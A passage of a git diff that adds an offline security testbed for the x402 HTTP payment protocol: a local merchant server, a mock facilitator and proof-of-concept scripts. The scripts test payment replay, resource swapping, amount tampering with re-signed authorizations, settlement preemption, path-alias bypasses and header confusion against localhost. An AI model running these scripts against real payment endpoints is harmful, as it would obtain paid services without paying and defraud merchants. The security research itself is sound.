results.replayGrants, + paymentForgedForCheapAcceptedOnTwin: results.twinAccepted, + paymentForgedForCheapAcceptedOnExpensive: results.expensiveAccepted, + handlerExecutionsFromOnePayment: results.amplification, +}, null, 2)); diff --git a/research/x402/poc/attack2.mjs b/research/x402/poc/attack2.mjs new file mode 100644 index 0000000..2b4f87a --- /dev/null +++ b/research/x402/poc/attack2.mjs @@ -0,0 +1,129 @@ +/** + * x402 attack harness v2 — isolates each documented weakness. + * Uses the official client SDK so payloads are authentic. + */ +import { x402HTTPClient } from "@x402/core/http"; +import { x402Client } from "@x402/core/client"; +import { ExactEvmScheme } from "@x402/evm/exact/client"; +import { privateKeyToAccount } from "viem/accounts"; +import { POC_PRIVATE_KEY } from "./key.mjs"; + +const SERVER = process.env.SERVER || "http://127.0.0.1:4198"; +const FACILITATOR = process.env.FACILITATOR || "http://127.0.0.1:4199"; + +const account = privateKeyToAccount(POC_PRIVATE_KEY); +const client = new x402Client(); +client.register("eip155:*", new ExactEvmScheme(account)); +const httpClient = new x402HTTPClient(client); + +const H = t => console.log(`\n${"─".repeat(76)}\n${t}\n${"─".repeat(76)}`); +const stats = () => fetch(`${SERVER}/stats`).then(r => r.json()); +const facStats = () => fetch(`${FACILITATOR}/stats`).then(r => r.json()); + +async function buy(url, { method = "GET", body } = {}) { + const init = { method, headers: {} }; + if (body) { init.headers["content-type"] = "application/json"; init.body = JSON.stringify(body); } + const challenge = await fetch(url, init); + const raw = await challenge.text(); + let parsed; try { parsed = JSON.parse(raw); } catch { parsed = undefined; } + const paymentRequired = httpClient.getPaymentRequiredResponse(n => challenge.headers.get(n), parsed); + const payload = await httpClient.createPaymentPayload(paymentRequired); + return { challenge, paymentRequired, payload, headers: httpClient.encodePaymentSignatureHeader(payload) }; +} + +const out = {}; + +// 0 ───────────────────────────────────────────────────────────── +H("0. BASELINE — does the 402 handshake work?"); +{ + const { challenge, headers, paymentRequired } = await buy(`${SERVER}/api/cheap`); + console.log(`unpaid -> ${challenge.status}`); + console.log(`402 cache-control : ${challenge.headers.get("cache-control")}`); + console.log(`402 extensions : ${JSON.stringify(paymentRequired.extensions ?? null)}`); + console.log(`402 resource.url : ${JSON.stringify(paymentRequired.resource?.url ?? null)}`); + console.log(`402 accepts[0] : ${JSON.stringify(paymentRequired.accepts[0])}`); + const r = await fetch(`${SERVER}/api/cheap`, { headers }); + console.log(`paid -> ${r.status} ${await r.text()}`); + console.log(`200 cache-control : ${r.headers.get("cache-control")}`); + console.log(`PAYMENT-RESPONSE : ${r.headers.get("payment-response")?.slice(0, 60)}...`); + out.baseline = r.status === 200; + out.cacheControl402 = challenge.headers.get("cache-control"); + out.cacheControl200 = r.headers.get("cache-control"); + out.requirement = paymentRequired.accepts[0]; + out.resourceUrl = paymentRequired.resource?.url ?? null; +} + +// 1 ───────────────────────────────────────────────────────────── +H("1. RESOURCE BINDING — fresh payment bought for /api/cheap, spent on /api/twin"); +{ + const { headers } = await buy(`${SERVER}/api/cheap`); + const before = await stats(); + const r = await fetch(`${SERVER}/api/twin`, { headers }); + const after = await stats(); + console.log(`/api/twin (identical price, different resource) -> ${r.status}`); + console.log(`body: ${(await r.text()).slice(0, 100)}`); + console.log(`twin handler executions: ${(after.handlerRuns.twin ?? 0) - (before.handlerRuns.twin ?? 0)}`); + out.resourceSwapAccepted = r.status === 200; +} + +// 2 ───────────────────────────────────────────────────────────── +H("2. REPLAY — one payment payload replayed 6x (sequential-ish, parallel)"); +{ + const { headers } = await buy(`${SERVER}/api/cheap`); + const before = await stats(); + const rs = await Promise.all(Array.from({ length: 6 }, () => fetch(`${SERVER}/api/cheap`, { headers }))); + const after = await stats(); + console.log(`200s: ${rs.filter(r => r.status === 200).length} 402s: ${rs.filter(r => r.status === 402).length}`); + console.log(`paid-handler executions forced by ONE payment: ${(after.handlerRuns.cheap ?? 0) - (before.handlerRuns.cheap ?? 0)}`); + out.replayGrants = rs.filter(r => r.status === 200).length; + out.replayHandlerRuns = (after.handlerRuns.cheap ?? 0) - (before.handlerRuns.cheap ?? 0); +} + +// 3 ───────────────────────────────────────────────────────────── +H("3. ECONOMIC AMPLIFICATION — one payment, 8 parallel calls to a 250ms non-idempotent route"); +{ + const { headers } = await buy(`${SERVER}/api/expensive-sideeffect`, { method: "POST", body: { x: 1 } }); + const before = await stats(); + const t0 = Date.now(); + const rs = await Promise.all( + Array.from({ length: 8 }, () => + fetch(`${SERVER}/api/expensive-sideeffect`, { + method: "POST", + headers: { ...headers, "content-type": "application/json" }, + body: JSON.stringify({ x: 1 }), + })), + ); + const after = await stats(); + console.log(`200s: ${rs.filter(r => r.status === 200).length}/8 402s: ${rs.filter(r => r.status === 402).length}`); + console.log(`server-side paid-handler executions: ${(after.handlerRuns.sideeffect ?? 0) - (before.handlerRuns.sideeffect ?? 0)} wall=${Date.now() - t0}ms`); + out.amplificationRuns = (after.handlerRuns.sideeffect ?? 0) - (before.handlerRuns.sideeffect ?? 0); + out.amplificationPaid = rs.filter(r => r.status === 200).length; +} + +// 4 ───────────────────────────────────────────────────────────── +H("4. PRICE ENFORCEMENT — $0.01 payment against the $99 route"); +{ + const { headers } = await buy(`${SERVER}/api/cheap`); + const r = await fetch(`${SERVER}/api/expensive`, { headers }); + console.log(`/api/expensive with $0.01 payment -> ${r.status} (price is bound in the signature)`); + out.priceEscalationAccepted = r.status === 200; +} + +// 5 ───────────────────────────────────────────────────────────── +H("5. VERIFY/SETTLE SEPARATION — replay the same payload to the FACILITATOR /verify only"); +{ + const { headers, payload } = await buy(`${SERVER}/api/cheap`); + const b64 = Buffer.from(JSON.stringify(payload)).toString("base64"); + const body = JSON.stringify({ paymentPayload: JSON.parse(Buffer.from(b64, "base64").toString()), paymentRequirements: out.requirement }); + const vs = []; + for (let i = 0; i < 5; i++) { + const r = await fetch(`${FACILITATOR}/verify`, { method: "POST", headers: { "content-type": "application/json" }, body }); + vs.push((await r.json()).isValid); + } + console.log(`facilitator /verify results for the same payload x5: ${JSON.stringify(vs)}`); + console.log(`=> the facilitator has no nonce/idempotency state; single-use is enforced ONLY on-chain`); +} + +console.log(`\n${"=".repeat(76)}\nFINAL SUMMARY\n${"=".repeat(76)}`); +console.log(JSON.stringify(out, null, 2)); +console.log(`facilitator stats: ${JSON.stringify(await facStats())}`); diff --git a/research/x402/poc/experiments.mjs b/research/x402/poc/experiments.mjs new file mode 100644 index 0000000..3bf9156 --- /dev/null +++ b/research/x402/poc/experiments.mjs @@ -0,0 +1,67 @@ +import { x402HTTPClient } from "@x402/core/http"; +import { x402Client } from "@x402/core/client"; +import { ExactEvmScheme } from "@x402/evm/exact/client"; +import { privateKeyToAccount } from "viem/accounts"; +import { POC_PRIVATE_KEY } from "./key.mjs"; +const SRV = process.env.SRV, FAC = process.env.FAC; +const account = privateKeyToAccount(POC_PRIVATE_KEY); +const client = new x402Client(); client.register("eip155:*", new ExactEvmScheme(account)); +const hc = new x402HTTPClient(client); +async function buy(path) { + const c = await fetch(`${SRV}${path}`); const b = await c.json(); + const pr = hc.getPaymentRequiredResponse(n => c.headers.get(n), b); + const payload = await hc.createPaymentPayload(pr); + return { pr, payload, headers: hc.encodePaymentSignatureHeader(payload) }; +} +const F = (t) => console.log(`\n${"─".repeat(74)}\n${t}\n${"─".repeat(74)}`); + +F("E) AMOUNT TAMPERING — both directions (expect rejection)"); +{ + // E1: claim a smaller 'accepted' amount than the route requires + const { payload } = await buy("/api/cheap"); + payload.accepted = { ...payload.accepted, amount: "1" }; + const h = hc.encodePaymentSignatureHeader(payload); + let r = await fetch(`${SRV}/api/cheap`, { headers: h }); + console.log(`E1 accepted.amount lowered to 1 -> HTTP ${r.status} (${r.status === 200 ? "BYPASS" : "rejected"})`); + + // E2: keep accepted=10000 but sign value=1 (forged cheap payment for a dear route) + const { payload: p2 } = await buy("/api/cheap"); + p2.accepted = { ...p2.accepted, amount: "10000", payTo: p2.accepted.payTo }; + // re-sign with value 1 by rebuilding typed data + const { privateKeyToAccount: pka } = await import("viem/accounts"); + const acct = pka(POC_PRIVATE_KEY); + const auth = { ...p2.payload.authorization, value: "1" }; + const signature = await acct.signTypedData({ + domain: { name: p2.accepted.extra.name, version: p2.accepted.extra.version, chainId: 84532, verifyingContract: p2.accepted.asset }, + types: { TransferWithAuthorization: [ + {name:"from",type:"address"},{name:"to",type:"address"},{name:"value",type:"uint256"}, + {name:"validAfter",type:"uint256"},{name:"validBefore",type:"uint256"},{name:"nonce",type:"bytes32"}]}, + primaryType: "TransferWithAuthorization", message: { ...auth, value: BigInt(1) }, + }); + p2.payload = { authorization: auth, signature }; + r = await fetch(`${SRV}/api/cheap`, { headers: hc.encodePaymentSignatureHeader(p2) }); + console.log(`E2 signature value=1 but claim amount=10000 -> HTTP ${r.status} (${r.status === 200 ? "BYPASS" : "rejected"})`); +} + +F("F) MULTI-GRANT — one payment replayed 6x against a facilitator without authoritative on-chain enforcement"); +{ + const { headers } = await buy("/api/cheap"); + const rs = await Promise.all(Array.from({ length: 6 }, () => fetch(`${SRV}/api/cheap`, { headers }))); + const codes = rs.map(r => r.status); + console.log(`statuses: ${JSON.stringify(codes)}`); + console.log(`RESOURCE GRANTS FOR ONE PAYMENT: ${codes.filter(c => c === 200).length}`); + const st = await fetch(`${SRV}/stats`).then(r => r.json()); + console.log(`handler executions: ${st.handlerRuns.cheap}`); +} + +F("G) SETTLEMENT PREEMPTION — a third party settles the client's signed authorization first"); +{ + const { payload, pr } = await buy("/api/cheap"); + const body = JSON.stringify({ paymentPayload: payload, paymentRequirements: pr.accepts[0] }); + // attacker (anyone who saw the PAYMENT-SIGNATURE header) settles directly: + const a = await fetch(`${FAC}/settle`, { method: "POST", headers: { "content-type": "application/json" }, body }); + console.log(`attacker settles the header directly -> ${JSON.stringify(await a.json())}`); + // now the legitimate client tries to use the payment at the merchant: + const r = await fetch(`${SRV}/api/cheap`, { headers: hc.encodePaymentSignatureHeader(payload) }); + console.log(`legitimate client's request afterwards -> HTTP ${r.status} ${r.status === 402 ? "(paid-but-denied)" : ""}`); +} diff --git a/research/x402/poc/facilitator.js b/research/x402/poc/facilitator.js new file mode 100644 index 0000000..016f10a --- /dev/null +++ b/research/x402/poc/facilitator.js @@ -0,0 +1,113 @@ +/** + * Local x402 facilitator using the REAL @x402/core x402Facilitator + + * REAL @x402/evm ExactEvmScheme verification logic. + * + * The chain is stubbed out (no RPC egress in this sandbox): + * - readContract -> returns zero-ish values + * - writeContract -> returns a fake tx hash (settle "succeeds") + * - waitForTransactionReceipt -> status: success + * - verifyTypedData -> REAL viem ECDSA verification of EIP-712 signatures + * - getCode -> "0x" (EOA) + * + * This means: all signature / amount / recipient / time-window / scheme + * checks executed here are the genuine reference implementation's checks. + * Only the on-chain side (nonce consumption, balances) is simulated. + */ +const express = require("express"); +const rateLimit = require("express-rate-limit"); +const { x402Facilitator } = require("@x402/core/facilitator"); +const { registerExactEvmScheme } = require("@x402/evm/exact/facilitator"); +const { verifyTypedData } = require("viem"); + +const NETWORK = process.env.NETWORK || "eip155:84532"; + +let settleCounter = 0; +let verifyCounter = 0; + +// Track whether we simulate an "already used nonce" (on-chain effect) +let submittedNonces = new Map(); + +const signer = { + getAddresses: () => ["0x000000000000000000000000000000000000dEaD"], + readContract: async () => 0n, + verifyTypedData: async ({ address, domain, types, primaryType, message, signature }) => { + try { + return await verifyTypedData({ address, domain, types, primaryType, message, signature }); + } catch (e) { + return false; + } + }, + writeContract: async () => { + settleCounter++; + return `0x${String(settleCounter).padStart(64, "0")}`; + }, + sendTransaction: async () => `0x${String(++settleCounter).padStart(64, "0")}`, + waitForTransactionReceipt: async () => ({ status: "success" }), + // USDC on Base Sepolia is a deployed contract; EOAs return "0x". + getCode: async ({ address }) => + address?.toLowerCase() === "0x036cbd53842c5426634e7929541eC2318f3dcf7e".toLowerCase() + ? "0x608060405234801561001057600080fd5b50" + : "0x", +}; + +const facilitator = new x402Facilitator(); +registerExactEvmScheme(facilitator, { signer, networks: NETWORK }); + +const app = express(); +app.use(express.json({ limit: "1mb" })); + +// /verify and /settle validate a signed payment authorization, and a real +// facilitator exposes them to the internet, so they are throttled here too — +// the same shape a production facilitator should have. The ceiling is +// deliberately high because every PoC request comes from 127.0.0.1 and shares +// one bucket. +app.use( + rateLimit({ + windowMs: 60_000, + limit: 600, + standardHeaders: false, + legacyHeaders: false, + }), +); + +app.get("/supported", (req, res) => res.json(facilitator.getSupported())); + +app.post("/verify", async (req, res) => { + verifyCounter++; + const { paymentPayload, paymentRequirements } = req.body; + // NOTE: deliberately no idempotency / nonce-reuse store here, mirroring the + // reference facilitator: replay defence is expected to be on-chain only. + const response = await facilitator.verify(paymentPayload, paymentRequirements); + res.json(response); +}); + +app.post("/settle", async (req, res) => { + const { paymentPayload, paymentRequirements } = req.body; + const nonce = paymentPayload?.payload?.authorization?.nonce; + if (process.env.NAIVE === "1") { + // Facilitator that does NOT authoritatively enforce single-use on-chain + // (e.g. returns success from a broadcast/simulated settle without waiting + // for a receipt, or a chain where settlement is not yet final/reverted). + const r = await facilitator.settle(paymentPayload, paymentRequirements); + return res.json(r); + } + const alreadyUsed = submittedNonces.has(nonce); + if (alreadyUsed) { + // Simulate the on-chain revert you would get from a used EIP-3009 nonce + return res.json({ + success: false, + errorReason: "invalid_transaction_state", + transaction: "", + network: paymentRequirements.network, + payer: paymentPayload?.payload?.authorization?.from, + }); + } + submittedNonces.set(nonce, Date.now()); + const response = await facilitator.settle(paymentPayload, paymentRequirements); + res.json(response); +}); + +app.get("/stats", (req, res) => res.json({ verifyCounter, settleCounter })); + +const PORT = parseInt(process.env.PORT || "4199", 10); +app.listen(PORT, "0.0.0.0", () => console.log(`facilitator listening on ${PORT}`)); diff --git a/research/x402/poc/headers.mjs b/research/x402/poc/headers.mjs new file mode 100644 index 0000000..2cc4097 --- /dev/null +++ b/research/x402/poc/headers.mjs @@ -0,0 +1,42 @@ +import { x402HTTPClient } from "@x402/core/http"; +import { x402Client } from "@x402/core/client"; +import { ExactEvmScheme } from "@x402/evm/exact/client"; +import { privateKeyToAccount } from "viem/accounts"; +import { POC_PRIVATE_KEY } from "./key.mjs"; +const SRV = process.env.SERVER || "http://127.0.0.1:4198"; +const a = privateKeyToAccount(POC_PRIVATE_KEY); +const c = new x402Client(); c.register("eip155:*", new ExactEvmScheme(a)); +const hc = new x402HTTPClient(c); +async function buy(path="/api/cheap") { + const ch = await fetch(`${SRV}${path}`); const b = await ch.json(); + const pr = hc.getPaymentRequiredResponse(n => ch.headers.get(n), b); + const payload = await hc.createPaymentPayload(pr); + return { pr, payload, headers: hc.encodePaymentSignatureHeader(payload) }; +} +const F = t => console.log(`\n${"─".repeat(74)}\n${t}\n${"─".repeat(74)}`); + +F("H1) duplicate PAYMENT-SIGNATURE headers (proxy/header ambiguity)"); +{ + const { headers } = await buy(); + const good = headers["PAYMENT-SIGNATURE"]; + const r1 = await fetch(`${SRV}/api/cheap`, { headers: { "PAYMENT-SIGNATURE": good, "X-PAYMENT": "not-json" } }); + console.log(`valid v2 + garbage X-PAYMENT -> ${r1.status} ${r1.status===200?"(accepted)":"(rejected)"}`); + const r2 = await fetch(`${SRV}/api/cheap`, { headers: { "X-PAYMENT": good } }); + console.log(`valid payload placed in the v1 header X-PAYMENT -> ${r2.status}`); + const r3 = await fetch(`${SRV}/api/cheap`, { headers: { "PAYMENT-SIGNATURE": "AAAA" } }); + console.log(`garbage PAYMENT-SIGNATURE -> ${r3.status}`); +} + +F("H2) version confusion: v1 payload claiming network 'base-sepolia' against a v2 route"); +{ + const { payload } = await buy(); + const v1 = { ...payload, x402Version: 1, accepted: { ...payload.accepted, network: "base-sepolia" } }; + const h = { "X-PAYMENT": Buffer.from(JSON.stringify(v1)).toString("base64") }; + const r = await fetch(`${SRV}/api/cheap`, { headers: h }); + console.log(`v1 downgrade attempt -> ${r.status} ${r.status===200?"*** ACCEPTED ***":"(rejected)"}`); +} + +F("H3) fail-closed test: point the merchant at a dead facilitator"); +{ + console.log("(run separately with a dead facilitator) -> see /tmp/deadfac.txt"); +} diff --git a/research/x402/poc/key.mjs b/research/x402/poc/key.mjs new file mode 100644 index 0000000..4c4f1fa --- /dev/null +++ b/research/x402/poc/key.mjs @@ -0,0 +1,19 @@ +/** + * The signer the PoC scripts pay with. + * + * These scripts need *a* signer, not a particular one: nothing in the testbed + * checks who the payer is, and the facilitator verifies each signature against + * whatever `from` address the payload carries. A literal private key used to + * live in each script. + * + * That literal was the publicly documented Anvil/Hardhat test-account key — + * worthless, and not a real credential by any measure. It is removed anyway, + * for two reasons: a hardcoded private key is indistinguishable from a leaked + * one to a secret scanner (this repository should not carry the pattern at + * all, even as a false positive), and a fixture that mints its own account + * cannot silently depend on one that has been funded, drained or reused + * elsewhere. Set POC_PRIVATE_KEY to reproduce a specific run byte for byte. + */ +import { generatePrivateKey } from "viem/accounts"; + +export const POC_PRIVATE_KEY = process.env.POC_PRIVATE_KEY ?? generatePrivateKey(); diff --git a/research/x402/poc/package.json b/research/x402/poc/package.json new file mode 100644 index 0000000..b872d61 --- /dev/null +++ b/research/x402/poc/package.json @@ -0,0 +1,19 @@ +{ + "name": "x402-poc", + "private": true, + "type": "commonjs", + "description": "Offline x402 security testbed: real @x402 SDK middleware + facilitator with a stubbed chain", + "scripts": { + "facilitator": "node facilitator.js", + "merchant": "node server.js", + "naive-facilitator": "NAIVE=1 node facilitator.js" + }, + "dependencies": { + "@x402/core": "2.28.0", + "@x402/evm": "2.28.0", + "@x402/express": "2.28.0", + "express": "^4.21.2", + "express-rate-limit": "8.7.1", + "viem": "^2.0.0" + } +} diff --git a/research/x402/poc/pathbypass.mjs b/research/x402/poc/pathbypass.mjs new file mode 100644 index 0000000..27ab325 --- /dev/null +++ b/research/x402/poc/pathbypass.mjs @@ -0,0 +1,30 @@ +const BASE = process.env.SERVER || "http://127.0.0.1:4198"; +const enc = s => s; // raw, we want the wire bytes exactly +const variants = [ + ["canonical", "/api/cheap"], + ["double slash", "/api//cheap"], + ["trailing slash", "/api/cheap/"], + ["case change", "/API/cheap"], + ["percent-encoded 'a'", "/%61pi/cheap"], + ["dot segment", "/api/./cheap"], + ["encoded slash", "/api%2Fcheap"], + ["leading double slash", "//api/cheap"], + ["query junk", "/api/cheap?a=1"], + ["semicolon", "/api/cheap;x=1"], + ["%2e%2e trick", "/api/x/../cheap"], +]; +console.log("Payload-free GETs; a secure gateway must return 402 for every alias of a paid route.\n"); +let bypasses = []; +for (const [label, path] of variants) { + try { + const r = await fetch(BASE + path, { redirect: "manual" }); + const text = await r.text(); + const paid = r.status === 402; + const leaked = r.status === 200 && text.includes("cheap-value-42"); + if (leaked) bypasses.push({ label, path }); + console.log(`${paid ? "402 (gated)" : r.status === 200 ? (leaked ? "200 *** FREE RESOURCE ***" : "200 (redirect/other)") : String(r.status).padEnd(3)} ${label.padEnd(22)} ${path}`); + } catch (e) { + console.log(`ERR ${label} ${path}: ${e.message}`); + } +} +console.log(`\nBYPASSES: ${bypasses.length ? JSON.stringify(bypasses) : "none"}`); diff --git a/research/x402/poc/priv.mjs b/research/x402/poc/priv.mjs new file mode 100644 index 0000000..39ce5fd --- /dev/null +++ b/research/x402/poc/priv.mjs @@ -0,0 +1,72 @@ +/** + * Logging proxy: sits between the app under test and the local mock + * facilitator, printing the x402 fields the facilitator receives so tampered + * values are visible. + * + * Analysis fixture only — see README.md in this directory. Two details below + * are deliberate rather than incidental: + * + * - Only three endpoints are forwarded, and each upstream URL is a string + * literal in the map below. The caller's path selects an entry; it never + * becomes part of the URL. A general forwarding proxy is the thing you + * would not want here, even on localhost. + * - An upstream failure is logged locally and never described to the caller. + */ +import http from "node:http"; + +/** The only endpoints this proxy forwards: constant in, literal out. */ +const UPSTREAM = new Map([ + ["/supported", "http://127.0.0.1:4199/supported"], + ["/verify", "http://127.0.0.1:4199/verify"], + ["/settle", "http://127.0.0.1:4199/settle"], +]); + +const logger = http.createServer(async (req, res) => { + let body = ""; + req.on("data", d => (body += d)); + req.on("end", async () => { + if (body) { + console.log(`\n>>> FACILITATOR RECEIVES ${req.method} ${req.url}`); + try { + const j = JSON.parse(body); + console.log(" paymentRequirements :", JSON.stringify(j.paymentRequirements)); + console.log(" payload.resource :", JSON.stringify(j.paymentPayload?.resource)); + console.log(" payload.accepted :", JSON.stringify(j.paymentPayload?.accepted)); + console.log(" authorization :", JSON.stringify(j.paymentPayload?.payload?.authorization)); + console.log(" signature :", String(j.paymentPayload?.payload?.signature).slice(0, 30) + "..."); + } catch { + console.log(" (non-JSON body)"); + } + } + + let pathname; + try { + pathname = new URL(req.url ?? "/", "http://127.0.0.1:4199").pathname; + } catch { + pathname = ""; + } + + const upstreamUrl = UPSTREAM.get(pathname); + if (!upstreamUrl) { + res.writeHead(404, { "content-type": "application/json" }); + res.end(JSON.stringify({ error: "not_a_facilitator_endpoint" })); + return; + } + + const init = { method: req.method, headers: { "content-type": "application/json" } }; + if (body) init.body = body; + try { + const up = await fetch(upstreamUrl, init); + res.writeHead(up.status, { "content-type": "application/json" }); + res.end(await up.text()); + } catch (error) { + // Local diagnostic only. The caller learns that the upstream is down and + // nothing about the internals. + console.error("proxy: upstream fetch failed:", error); + res.writeHead(502, { "content-type": "application/json" }); + res.end(JSON.stringify({ error: "upstream_unreachable" })); + } + }); +}); + +logger.listen(4399, "0.0.0.0", () => console.log("logging proxy 4399 -> facilitator 4199")); diff --git a/research/x402/poc/rawdup.mjs b/research/x402/poc/rawdup.mjs new file mode 100644 index 0000000..ca06f5c --- /dev/null +++ b/research/x402/poc/rawdup.mjs @@ -0,0 +1,32 @@ +import net from "node:net"; +import { x402HTTPClient } from "@x402/core/http"; +import { x402Client } from "@x402/core/client"; +import { ExactEvmScheme } from "@x402/evm/exact/client"; +import { privateKeyToAccount } from "viem/accounts"; +import { POC_PRIVATE_KEY } from "./key.mjs"; +const a = privateKeyToAccount(POC_PRIVATE_KEY); +const c = new x402Client(); c.register("eip155:*", new ExactEvmScheme(a)); +const hc = new x402HTTPClient(c); +const ch = await fetch("http://127.0.0.1:4198/api/cheap"); const b = await ch.json(); +const pr = hc.getPaymentRequiredResponse(n => ch.headers.get(n), b); +const p1 = await hc.createPaymentPayload(pr); +const H1 = Object.values(hc.encodePaymentSignatureHeader(p1))[0]; +const p2 = await hc.createPaymentPayload(pr); +p2.resource = { url: "http://evil.example/x", description: "second header", mimeType: "" }; +const H2 = Object.values(hc.encodePaymentSignatureHeader(p2))[0]; + +async function raw(doubled) { + return new Promise(resolve => { + const s = net.connect(4198, "127.0.0.1", () => { + const hdrs = [`GET /api/cheap HTTP/1.1`, `Host: 127.0.0.1:4198`, `Connection: close`]; + if (doubled) { hdrs.push(`PAYMENT-SIGNATURE: ${H1}`, `PAYMENT-SIGNATURE: ${H2}`); } + else { hdrs.push(`PAYMENT-SIGNATURE: ${H1}`); } + s.write(hdrs.join("\r\n") + "\r\n\r\n"); + }); + let out = ""; + s.on("data", d => (out += d)); + s.on("end", () => resolve(out.split("\r\n\r\n")[0].split("\r\n")[0] + " | body=" + out.split("\r\n\r\n").slice(1).join("").slice(0, 60))); + }); +} +console.log("single PAYMENT-SIGNATURE :", await raw(false)); +console.log("DUPLICATE PAYMENT-SIGNATURE:", await raw(true)); diff --git a/research/x402/poc/seq.mjs b/research/x402/poc/seq.mjs new file mode 100644 index 0000000..929ab09 --- /dev/null +++ b/research/x402/poc/seq.mjs @@ -0,0 +1,18 @@ +import { x402HTTPClient } from "@x402/core/http"; +import { x402Client } from "@x402/core/client"; +import { ExactEvmScheme } from "@x402/evm/exact/client"; +import { privateKeyToAccount } from "viem/accounts"; +import { POC_PRIVATE_KEY } from "./key.mjs"; +const SRV = process.env.SRV; +const a = privateKeyToAccount(POC_PRIVATE_KEY); +const c = new x402Client(); c.register("eip155:*", new ExactEvmScheme(a)); +const hc = new x402HTTPClient(c); +const ch = await fetch(`${SRV}/api/cheap`); const b = await ch.json(); +const pr = hc.getPaymentRequiredResponse(n => ch.headers.get(n), b); +const payload = await hc.createPaymentPayload(pr); +const headers = hc.encodePaymentSignatureHeader(payload); +const codes = []; +for (let i = 0; i < 10; i++) { const r = await fetch(`${SRV}/api/cheap`, { headers }); codes.push(r.status); await r.text(); } +console.log("sequential replay statuses:", JSON.stringify(codes)); +const st = await fetch(`${SRV}/stats`).then(r => r.json()); +console.log("payments required:", 1, "| paid-handler executions:", st.handlerRuns.cheap, "| 200s delivered:", codes.filter(x=>x===200).length); diff --git a/research/x402/poc/server.js b/research/x402/poc/server.js new file mode 100644 index 0000000..93fc4ee --- /dev/null +++ b/research/x402/poc/server.js @@ -0,0 +1,89 @@ +/** + * x402 resource server (the "merchant") using the REAL @x402/express middleware. + * + * Three paid routes: + * GET /api/cheap $0.01 + * GET /api/twin $0.01 (identical terms, different path) + * GET /api/expensive $99.00 + * POST /api/expensive-sideeffect $0.01 (non-idempotent work) + * + * The handler records every invocation in `handlerRuns` — so we can measure + * how much *work* a single payment buys. + */ +const express = require("express"); +const { paymentMiddleware } = require("@x402/express"); +const { x402ResourceServer, HTTPFacilitatorClient } = require("@x402/core/server"); +const { ExactEvmScheme } = require("@x402/evm/exact/server"); + +const PORT = parseInt(process.env.PORT || "4198", 10); +const NETWORK = process.env.NETWORK || "eip155:84532"; +const FACILITATOR_URL = process.env.FACILITATOR_URL || "http://127.0.0.1:4199"; +const PAY_TO = process.env.PAY_TO || "0x000000000000000000000000000000000000bEEF"; + +// handlerRuns is a Map rather than a plain object so that the per-route counters +// are never written through a computed property key (avoids prototype-pollution +// / object-injection classes of bug). +const stats = { handlerRuns: new Map(), grants: 0 }; + +const facilitatorClient = new HTTPFacilitatorClient({ url: FACILITATOR_URL }); +const server = new x402ResourceServer(facilitatorClient); +server.register(NETWORK, new ExactEvmScheme()); + +const routes = { + "GET /api/cheap": { + accepts: { payTo: PAY_TO, scheme: "exact", price: "$0.01", network: NETWORK }, + description: "cheap data", + }, + "GET /api/twin": { + accepts: { payTo: PAY_TO, scheme: "exact", price: "$0.01", network: NETWORK }, + description: "different resource, same price", + }, + "GET /api/expensive": { + accepts: { payTo: PAY_TO, scheme: "exact", price: "$99.00", network: NETWORK }, + description: "expensive data", + }, + "POST /api/expensive-sideeffect": { + accepts: { payTo: PAY_TO, scheme: "exact", price: "$0.01", network: NETWORK }, + description: "non-idempotent work", + }, +}; + +const app = express(); +app.use(express.json()); + +app.use(paymentMiddleware(routes, server)); + +function count(key) { + stats.handlerRuns.set(key, (stats.handlerRuns.get(key) || 0) + 1); +} + +/** Serialize the Map-backed counters into the plain JSON shape /stats has always served. */ +function snapshot() { + return { handlerRuns: Object.fromEntries(stats.handlerRuns), grants: stats.grants }; +} + +app.get("/api/cheap", (req, res) => { + count("cheap"); + res.json({ resource: "cheap", secret: "cheap-value-42" }); +}); + +app.get("/api/twin", (req, res) => { + count("twin"); + res.json({ resource: "twin", secret: "twin-value-43" }); +}); + +app.get("/api/expensive", (req, res) => { + count("expensive"); + res.json({ resource: "expensive", secret: "EXPENSIVE-REPORT-CONTENTS" }); +}); + +app.post("/api/expensive-sideeffect", async (req, res) => { + count("sideeffect"); + // simulate expensive, non-idempotent work (LLM call, email, DB write...) + await new Promise(r => setTimeout(r, 250)); + res.json({ resource: "sideeffect", sendsEmail: true, runNumber: stats.handlerRuns.get("sideeffect") }); +}); + +app.get("/stats", (req, res) => res.json(snapshot())); + +app.listen(PORT, "0.0.0.0", () => console.log(`resource server listening on ${PORT}`)); diff --git a/research/x402/poc/tamper2.mjs b/research/x402/poc/tamper2.mjs new file mode 100644 index 0000000..8d750d4 --- /dev/null +++ b/research/x402/poc/tamper2.mjs @@ -0,0 +1,54 @@ +import { x402HTTPClient } from "@x402/core/http"; +import { x402Client } from "@x402/core/client"; +import { ExactEvmScheme } from "@x402/evm/exact/client"; +import { privateKeyToAccount } from "viem/accounts"; +import { POC_PRIVATE_KEY } from "./key.mjs"; + +const SRV = process.env.SERVER || "http://127.0.0.1:4198"; +const account = privateKeyToAccount(POC_PRIVATE_KEY); +const client = new x402Client(); client.register("eip155:*", new ExactEvmScheme(account)); +const hc = new x402HTTPClient(client); + +async function freshPayloadFor(path) { + const c = await fetch(`${SRV}${path}`); + const body = await c.json(); + const pr = hc.getPaymentRequiredResponse(n => c.headers.get(n), body); + const payload = await hc.createPaymentPayload(pr); + return { pr, payload, headers: hc.encodePaymentSignatureHeader(payload) }; +} + +console.log("A) payload bought for /api/cheap, untouched, sent to /api/twin"); +{ + const { payload, headers } = await freshPayloadFor("/api/cheap"); + console.log(` payload.resource.url = ${payload.resource?.url}`); + const r = await fetch(`${SRV}/api/twin`, { headers }); + console.log(` -> HTTP ${r.status} ${r.status === 200 ? "ACCEPTED" : "rejected"} body=${(await r.text()).slice(0,60)}`); +} + +console.log("\nB) same payment, resource field REWRITTEN by the attacker to /api/twin"); +{ + const { payload } = await freshPayloadFor("/api/cheap"); + payload.resource = { url: `${SRV}/api/twin`, description: "twin resource", mimeType: "" }; + const headers = hc.encodePaymentSignatureHeader(payload); + const r = await fetch(`${SRV}/api/twin`, { headers }); + console.log(` -> HTTP ${r.status} ${r.status === 200 ? "ACCEPTED" : "rejected"} body=${(await r.text()).slice(0,60)}`); +} + +console.log("\nC) same payment, resource field DELETED entirely, sent to /api/twin"); +{ + const { payload } = await freshPayloadFor("/api/cheap"); + delete payload.resource; + const headers = hc.encodePaymentSignatureHeader(payload); + const r = await fetch(`${SRV}/api/twin`, { headers }); + console.log(` -> HTTP ${r.status} ${r.status === 200 ? "ACCEPTED" : "rejected"} body=${(await r.text()).slice(0,60)}`); +} + +console.log("\nD) is `resource` inside the signature? tamper description of a payload for /api/cheap then spend at /api/cheap"); +{ + const { payload } = await 